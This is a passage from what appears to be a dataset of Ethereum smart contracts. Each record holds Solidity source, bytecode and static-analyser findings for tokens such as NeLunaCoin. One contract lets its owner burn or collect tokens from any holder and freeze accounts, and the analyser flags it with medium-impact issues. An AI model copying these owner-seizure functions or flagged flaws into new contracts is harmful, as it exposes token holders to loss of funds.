return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
// retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
Transfer(msg.sender, _to, _value, _data);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
return true;
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint i = 0; i < targets.length; i++) {
require(targets[i] != 0x0);
frozenAccount[targets[i]] = isFrozen;
FrozenFunds(targets[i], isFrozen);
}
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint i = 0; i < targets.length; i++){
require(unlockUnixTime[targets[i]] < unixTimes[i]);
unlockUnixTime[targets[i]] = unixTimes[i];
LockedFunds(targets[i], unixTimes[i]);
}
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf(_from) >= _unitAmount);
balances[_from] = SafeMath.sub(balances[_from], _unitAmount);
totalSupply = SafeMath.sub(totalSupply, _unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = SafeMath.add(totalSupply, _unitAmount);
balances[_to] = SafeMath.add(balances[_to], _unitAmount);
Mint(_to, _unitAmount);
bytes memory empty;
Transfer(address(0), _to, _unitAmount, empty);
return true;
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount
*/
function distributeTokens(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = SafeMath.mul(amount, 1e8);
uint256 totalAmount = SafeMath.mul(amount, addresses.length);
require(balances[msg.sender] >= totalAmount);
bytes memory empty;
for (uint i = 0; i < addresses.length; i++) {
require(addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
balances[addresses[i]] = SafeMath.add(balances[addresses[i]], amount);
Transfer(msg.sender, addresses[i], amount, empty);
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
bytes memory empty;
for (uint i = 0; i < addresses.length; i++) {
require(amounts[i] > 0
&& addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
amounts[i] = SafeMath.mul(amounts[i], 1e8);
require(balances[addresses[i]] >= amounts[i]);
balances[addresses[i]] = SafeMath.sub(balances[addresses[i]], amounts[i]);
totalAmount = SafeMath.add(totalAmount, amounts[i]);
Transfer(addresses[i], msg.sender, amounts[i], empty);
}
balances[msg.sender] = SafeMath.add(balances[msg.sender], totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0, this function doesn't work
*/
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf(owner) >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if (msg.value > 0) owner.transfer(msg.value);
bytes memory empty;
balances[owner] = SafeMath.sub(balances[owner], distributeAmount);
balances[msg.sender] = SafeMath.add(balances[msg.sender], distributeAmount);
Transfer(owner, msg.sender, distributeAmount, empty);
}
/**
* @dev token fallback function
*/
function() payable public {
autoDistribute();
}
}
|
0x6060604052600436106101245763ffffffff60e060020a60003504166305d2035b811461012e57806306fdde031461015557806318160ddd146101df578063256fa24114610204578063313ce56714610255578063378dc3dc1461027e57806340c10f19146102915780634f25eced146102b357806364ddc605146102c657806370a08231146103555780637d64bcb4146103745780638da5cb5b1461038757806395d89b41146103b65780639dc29fac146103c9578063a8f11eb914610124578063a9059cbb146103eb578063b414d4b61461040d578063be45fd621461042c578063c341b9f614610491578063cbbe974b146104e4578063d39b1d4814610503578063f0dc417114610519578063f2fde38b146105a8578063f6368f8a146105c7575b61012c61066e565b005b341561013957600080fd5b61014161083e565b604051901515815260200160405180910390f35b341561016057600080fd5b610168610847565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101a457808201518382015260200161018c565b50505050905090810190601f1680156101d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101ea57600080fd5b6101f26108ef565b60405190815260200160405180910390f35b341561020f57600080fd5b610141600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965050933593506108f592505050565b341561026057600080fd5b610268610bdf565b60405160ff909116815260200160405180910390f35b341561028957600080fd5b6101f2610be8565b341561029c57600080fd5b610141600160a060020a0360043516602435610bee565b34156102be57600080fd5b6101f2610d4a565b34156102d157600080fd5b61012c600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610d5095505050505050565b341561036057600080fd5b6101f2600160a060020a0360043516610eaa565b341561037f57600080fd5b610141610ec5565b341561039257600080fd5b61039a610f32565b604051600160a060020a03909116815260200160405180910390f35b34156103c157600080fd5b610168610f41565b34156103d457600080fd5b61012c600160a060020a0360043516602435610fb4565b34156103f657600080fd5b610141600160a060020a036004351660243561107f565b341561041857600080fd5b610141600160a060020a0360043516611153565b341561043757600080fd5b61014160048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061116895505050505050565b341561049c57600080fd5b61012c600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965050505091351515915061123a9050565b34156104ef57600080fd5b6101f2600160a060020a036004351661133c565b341561050e57600080fd5b61012c60043561134e565b341561052457600080fd5b61014160046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061136e95505050505050565b34156105b357600080fd5b61012c600160a060020a03600435166116b8565b34156105d257600080fd5b61014160048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284375094965061175395505050505050565b610676611d71565b600060075411801561069e575060075460015461069b90600160a060020a0316610eaa565b10155b80156106c35750600160a060020a0333166000908152600a602052604090205460ff16155b80156106e65750600160a060020a0333166000908152600b602052604090205442115b15156106f157600080fd5b600034111561072e57600154600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561072e57600080fd5b600154600160a060020a03166000908152600960205260409020546007546107569190611a32565b600154600160a060020a0390811660009081526009602052604080822093909355339091168152205460075461078c9190611a44565b600160a060020a03331660009081526009602052604090819020919091558190518082805190602001908083835b602083106107d95780518252601f1990920191602091820191016107ba565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051908190039020600154600754600160a060020a03338116921690600080516020611d848339815191529060405190815260200160405180910390a450565b60085460ff1681565b61084f611d71565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108e55780601f106108ba576101008083540402835291602001916108e5565b820191906000526020600020905b8154815290600101906020018083116108c857829003601f168201915b5050505050905090565b60065490565b600080610900611d71565b60008085118015610912575060008651115b80156109375750600160a060020a0333166000908152600a602052604090205460ff16155b801561095a5750600160a060020a0333166000908152600b602052604090205442115b151561096557600080fd5b610973856305f5e100611a53565b9450610980858751611a53565b600160a060020a033316600090815260096020526040902054909350839010156109a957600080fd5b5060005b8551811015610b97578581815181106109c257fe5b90602001906020020151600160a060020a031615801590610a175750600a60008783815181106109ee57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b8015610a5c5750600b6000878381518110610a2e57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515610a6757600080fd5b610aab60096000888481518110610a7a57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205486611a44565b60096000888481518110610abb57fe5b90602001906020020151600160a060020a0316600160a060020a0316815260200190815260200160002081905550816040518082805190602001908083835b60208310610b195780518252601f199092019160209182019101610afa565b6001836020036101000a03801982511681845116179092525050509190910192506040915050518091039020868281518110610b5157fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611d848339815191528860405190815260200160405180910390a46001016109ad565b600160a060020a033316600090815260096020526040902054610bba9084611a32565b33600160a060020a031660009081526009602052604090205550600195945050505050565b60045460ff1690565b60055481565b6000610bf8611d71565b60015433600160a060020a03908116911614610c1357600080fd5b60085460ff1615610c2357600080fd5b60008311610c3057600080fd5b610c3c60065484611a44565b600655600160a060020a038416600090815260096020526040902054610c629084611a44565b600160a060020a0385166000818152600960205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859085905190815260200160405180910390a2806040518082805190602001908083835b60208310610ce45780518252601f199092019160209182019101610cc5565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051908190039020600160a060020a0385166000600080516020611d848339815191528660405190815260200160405180910390a4600191505b5092915050565b60075481565b60015460009033600160a060020a03908116911614610d6e57600080fd5b60008351118015610d80575081518351145b1515610d8b57600080fd5b5060005b8251811015610ea557818181518110610da457fe5b90602001906020020151600b6000858481518110610dbe57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610dec57600080fd5b818181518110610df857fe5b90602001906020020151600b6000858481518110610e1257fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610e4257fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610e8257fe5b9060200190602002015160405190815260200160405180910390a2600101610d8f565b505050565b600160a060020a031660009081526009602052604090205490565b60015460009033600160a060020a03908116911614610ee357600080fd5b60085460ff1615610ef357600080fd5b6008805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600154600160a060020a031681565b610f49611d71565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108e55780601f106108ba576101008083540402835291602001916108e5565b60015433600160a060020a03908116911614610fcf57600080fd5b600081118015610fe7575080610fe483610eaa565b10155b1515610ff257600080fd5b600160a060020a0382166000908152600960205260409020546110159082611a32565b600160a060020a03831660009081526009602052604090205560065461103b9082611a32565b600655600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b6000611089611d71565b6000831180156110b25750600160a060020a0333166000908152600a602052604090205460ff16155b80156110d75750600160a060020a0384166000908152600a602052604090205460ff16155b80156110fa5750600160a060020a0333166000908152600b602052604090205442115b801561111d5750600160a060020a0384166000908152600b602052604090205442115b151561112857600080fd5b61113184611a7e565b1561114857611141848483611a86565b9150610d43565b611141848483611c65565b600a6020526000908152604090205460ff1681565b600080831180156111925750600160a060020a0333166000908152600a602052604090205460ff16155b80156111b75750600160a060020a0384166000908152600a602052604090205460ff16155b80156111da5750600160a060020a0333166000908152600b602052604090205442115b80156111fd5750600160a060020a0384166000908152600b602052604090205442115b151561120857600080fd5b61121184611a7e565b1561122857611221848484611a86565b9050611233565b611221848484611c65565b9392505050565b60015460009033600160a060020a0390811691161461125857600080fd5b600083511161126657600080fd5b5060005b8251811015610ea55782818151811061127f57fe5b90602001906020020151600160a060020a0316151561129d57600080fd5b81600a60008584815181106112ae57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790558281815181106112ec57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a260010161126a565b600b6020526000908152604090205481565b60015433600160a060020a0390811691161461136957600080fd5b600755565b600080611379611d71565b60015460009033600160a060020a0390811691161461139757600080fd5b600086511180156113a9575084518651145b15156113b457600080fd5b5060009150815b85518110156116955760008582815181106113d257fe5b9060200190602002015111801561140657508581815181106113f057fe5b90602001906020020151600160a060020a031615155b80156114465750600a600087838151811061141d57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b801561148b5750600b600087838151811061145d57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561149657600080fd5b6114b98582815181106114a557fe5b906020019060200201516305f5e100611a53565b8582815181106114c557fe5b602090810290910101528481815181106114db57fe5b90602001906020020151600960008884815181106114f557fe5b90602001906020020151600160a060020a03168152602081019190915260400160002054101561152457600080fd5b61157d6009600088848151811061153757fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205486838151811061156e57fe5b90602001906020020151611a32565b6009600088848151811061158d57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020556115d0838683815181106115c157fe5b90602001906020020151611a44565b9250816040518082805190602001908083835b602083106116025780518252601f1990920191602091820191016115e3565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902033600160a060020a031687838151811061164457fe5b90602001906020020151600160a060020a0316600080516020611d8483398151915288858151811061167257fe5b9060200190602002015160405190815260200160405180910390a46001016113bb565b600160a060020a033316600090815260096020526040902054610bba9084611a44565b60015433600160a060020a039081169116146116d357600080fd5b600160a060020a03811615156116e857600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000808411801561177d5750600160a060020a0333166000908152600a602052604090205460ff16155b80156117a25750600160a060020a0385166000908152600a602052604090205460ff16155b80156117c55750600160a060020a0333166000908152600b602052604090205442115b80156117e85750600160a060020a0385166000908152600b602052604090205442115b15156117f357600080fd5b6117fc85611a7e565b15611a1c578361180b33610eaa565b101561181657600080fd5b61182861182233610eaa565b85611a32565b600160a060020a03331660009081526009602052604090205561185361184d86610eaa565b85611a44565b600160a060020a0386166000818152600960205260408082209390935590918490518082805190602001908083835b602083106118a15780518252601f199092019160209182019101611882565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b8381101561193257808201518382015260200161191a565b50505050905090810190601f16801561195f5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f19350505050151561198357fe5b826040518082805190602001908083835b602083106119b35780518252601f199092019160209182019101611994565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a0316600080516020611d848339815191528760405190815260200160405180910390a4506001611a2a565b611a27858585611c65565b90505b949350505050565b600082821115611a3e57fe5b50900390565b60008282018381101561123357fe5b600080831515611a665760009150610d43565b50828202828482811515611a7657fe5b041461123357fe5b6000903b1190565b60008083611a9333610eaa565b1015611a9e57600080fd5b611aaa61182233610eaa565b600160a060020a033316600090815260096020526040902055611acf61184d86610eaa565b600160a060020a03861660008181526009602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611b68578082015183820152602001611b50565b50505050905090810190601f168015611b955780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515611bb557600080fd5b6102c65a03f11515611bc657600080fd5b505050826040518082805190602001908083835b60208310611bf95780518252601f199092019160209182019101611bda565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a0316600080516020611d848339815191528760405190815260200160405180910390a4506001949350505050565b600082611c7133610eaa565b1015611c7c57600080fd5b611c8e611c8833610eaa565b84611a32565b600160a060020a033316600090815260096020526040902055611cb9611cb385610eaa565b84611a44565b600160a060020a03851660009081526009602052604090819020919091558290518082805190602001908083835b60208310611d065780518252601f199092019160209182019101611ce7565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a0316600080516020611d848339815191528660405190815260200160405180910390a45060019392505050565b602060405190810160405260008152905600e19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16a165627a7a72305820ae978a41a0522c0c8b95c23529b591ce8c6dec3ea6ab46371560c13327f2e3600029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 3,570 |
0xf00f849b5095f05fe73c01ef21f64e854e30abd4
|
pragma solidity ^0.4.25;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract NeLunaCoin is StandardToken {
using SafeERC20 for ERC20;
string public name = "NeLunaCoin";
string public symbol = "NLC";
uint8 public decimals = 18;
uint public INITIAL_SUPPLY = 1200000000 * (10 ** uint256(decimals));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(this), msg.sender, INITIAL_SUPPLY);
}
}
|
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a75780632ff2e9dc146101d1578063313ce567146101e6578063661884631461021157806370a082311461023557806395d89b4114610256578063a9059cbb1461026b578063d73dd6231461028f578063dd62ed3e146102b3575b600080fd5b3480156100ca57600080fd5b506100d36102da565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a0360043516602435610368565b604080519115158252519081900360200190f35b34801561018c57600080fd5b506101956103ce565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a03600435811690602435166044356103d4565b3480156101dd57600080fd5b50610195610549565b3480156101f257600080fd5b506101fb61054f565b6040805160ff9092168252519081900360200190f35b34801561021d57600080fd5b5061016c600160a060020a0360043516602435610558565b34801561024157600080fd5b50610195600160a060020a0360043516610647565b34801561026257600080fd5b506100d3610662565b34801561027757600080fd5b5061016c600160a060020a03600435166024356106bd565b34801561029b57600080fd5b5061016c600160a060020a036004351660243561079c565b3480156102bf57600080fd5b50610195600160a060020a0360043581169060243516610835565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103605780601f1061033557610100808354040283529160200191610360565b820191906000526020600020905b81548152906001019060200180831161034357829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b600160a060020a0383166000908152602081905260408120548211156103f957600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561042957600080fd5b600160a060020a038316151561043e57600080fd5b600160a060020a038416600090815260208190526040902054610467908363ffffffff61086016565b600160a060020a03808616600090815260208190526040808220939093559085168152205461049c908363ffffffff61087216565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546104de908363ffffffff61086016565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60065481565b60055460ff1681565b336000908152600260209081526040808320600160a060020a03861684529091528120548083106105ac57336000908152600260209081526040808320600160a060020a03881684529091528120556105e1565b6105bc818463ffffffff61086016565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103605780601f1061033557610100808354040283529160200191610360565b336000908152602081905260408120548211156106d957600080fd5b600160a060020a03831615156106ee57600080fd5b3360009081526020819052604090205461070e908363ffffffff61086016565b3360009081526020819052604080822092909255600160a060020a03851681522054610740908363ffffffff61087216565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a03861684529091528120546107d0908363ffffffff61087216565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60008282111561086c57fe5b50900390565b8181018281101561087f57fe5b929150505600a165627a7a723058208fe50ce9525e5d9e317401eee702dc4f782ed89be3cd6921986cd9a5c0ccc43f0029
|
{"success": true, "error": null, "results": {}}
| 3,571 |
0xdff0ebf7430173f04788d1de60803d1b66e0601c
|
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library FullMath {
function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
require(h < d, 'FullMath::mulDiv: overflow');
return fullDiv(l, h, d);
}
}
library Babylonian {
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
